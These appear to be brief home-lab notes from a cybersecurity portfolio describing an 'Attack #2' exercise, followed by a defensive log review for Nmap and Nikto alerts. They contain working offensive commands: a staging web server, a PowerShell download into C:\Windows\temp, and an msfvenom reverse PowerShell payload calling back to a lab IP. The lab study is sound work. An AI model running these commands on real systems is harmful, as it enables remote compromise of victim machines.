Portfolio: malcolmcybersec-io.pages.dev

Attack #2

Create a Web Server on VM Box

Python3 -m http.server

PS Command to download a file from web server host: Invoke-WebRequest -URI http://[External IP Space]/[file name] -Outfile c:Windows\temp\[file name]

checking if RTP is enabled and grabbing a file from the attack box.

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.80.3 lport=8443 > shell.bat

^ Reverse PS

Reverse shell sourcing from attack box. Victim machine name below

Querying Logs for suspicious events:

First Alert: Web Scanner Activity - Nmap and Nikto